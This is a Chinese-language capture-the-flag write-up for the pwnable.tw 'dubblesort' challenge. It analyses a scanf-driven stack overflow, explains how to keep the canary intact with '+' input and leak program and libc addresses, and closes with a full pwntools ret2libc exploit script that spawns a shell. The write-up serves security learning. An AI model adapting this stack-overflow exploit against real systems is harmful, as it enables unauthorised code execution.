Refs

  1. http://www.freebuf.com/articles/others-articles/134271.html

思路

  unsigned int number; // [sp+18h] [bp-74h]@1
  int numbers; // [sp+1Ch] [bp-70h]@2
  int name; // [sp+3Ch] [bp-50h]@1
  int v12; // [sp+7Ch] [bp-10h]@1

保护机制全开,漏洞的原因是利用scanf("%u",&a)读取numbers,并排序,数字的数量没有限制,导致栈溢出。如果a为+ - ,则依然原来的值。如果a为字母,则scanf从此之后都失败。

利用scanf("%s",&name);泄漏stack中程序的.text段地址,根据偏移计算main_addr。构造numbers输入,维护canary,泄漏ebp之前libc中的地址,根据偏移计算libc_addr,同时覆盖返回地址为main_addr。下一次输入,维护canary,构造ret2libc拿shell。

分析

  1. 栈中libc的地址和libc_addr之间的偏移和libc.so有关系。计算offset后,readelf -S libc.so可以offset处的name,根据name到新libc中寻找新offset。
  2. scanf("%u",&a);读取的是数字,因此直接把十进制数转化成字符串输入就好。此外读取+ ,- 为什么不会替换原来的值,尚不清楚。
  3. IDA F5分析可能不准确,看汇编验证自己的想法。比如本题都是根据esp来计算定位参数的。
  4. info sharedlibrary查看的是elf加载时,so text节的地址,vmmap(ldd)查看的是整个so文件的地址。
  5. 本题我采用的是先利用读取name来泄漏main的地址,再sort泄漏libc的地址。第二次执行main 利用ret2libc拿shell。其实也可以在第一次读取name时候泄漏libc的地址,那么可以直接在sort时拿shell。这样有个好处,libc的地址通常很大,可以布置在后面没问题。第一种方法,泄漏main的地址,要求canary比main小,可能需要多次执行。
  6. 熬夜做题不好,下次再也不熬夜了。

exp

from pwn import *
import sys,getopt
import time

args = sys.argv[1:]
context(os='linux', arch='i386')
debug = 1 if '-nd' not in args else 0

proc_name = './dubblesort'
local = 1 if '-r' not in args else 0
isattach = local & 1 
bps = isattach & 0 
ip = 'chall.pwnable.tw'
port = 10101
io = None


def makeio():
    global io 
    if local:
    	io = process(proc_name)
    else:
    	io = remote(ip,port)
def ru(data):
	return io.recvuntil(data)
def rv():
	return io.recv()
def sl(data):
	return io.sendline(data)
def sd(data):
	return io.send(data)
def rl():
	return io.recvline()
def lg(data):
    return log.info(data)


def attach():
    if isattach:
        if bps:
            gdb.attach(pidof(io)[0], open('bps'))
        else:
            gdb.attach(pidof(io)[0])
 
def pwn():
    makeio()
    if debug:
        context.log_level = 'debug'
    
    ru('name :')
    payload = 'A'*0x20
    sd(payload)
    data = u32(rv()[38:42])
    print hex(data)
    main_addr = data +  0x000003c2
    print 'main_addr' + hex(main_addr)
    sleep(0.1)
    sl('34')
    ru('number :')
    payload = '1\n'*24 + '+\n' + ('1342177280'+'\n')*5 + '+\n' + '1342177280'+'\n' + str(main_addr)+'\n' + '1342177280\n' # 1342177280 == 0x50000000
    sd(payload) 
    print 'wait sort'
    sleep(2)
    rl()
    rl()
    data = rv()
    print data 
    canary = int(data.split(' ')[24],10)
    libc3 = int(data.split(' ')[33],10)
    if canary < 0x50000000:
        print 'canary: ' + hex(canary)
        print 'libc_addr: ' + hex(libc3)
        print 'success' 

        if local:
            libc = ELF('libc.so')
            libc_addr = libc3 - 0x1b2000
        else:
            libc = ELF('libc_32.so.6')
            libc_addr = libc3 - 0x001b0000
        # attach()    
        binsh_offset = next(libc.search('/bin/sh'))
        system_offset = libc.symbols['system']        
        system_addr = libc_addr + system_offset
        binsh_addr = libc_addr + binsh_offset
        print 'system_addr ' + hex(system_addr)
        print 'binsh_addr ' + hex(binsh_addr)
       
        sleep(3)
        sl('A')
        ru('sort :') 
        sl('32')
        ru('number :')
        payload = '1\n'*24 + '+\n' + '1342177280\n'*4 + str(system_addr)+'\n' + str(binsh_addr)+'\n' + str(binsh_addr) +'\n'
        sd(payload)

        io.interactive()
        return True
    log.info('Attempt to try again.Wrong canary '+ hex(canary))
if __name__ == '__main__':
    success = False 
    while not success :
        success = pwn()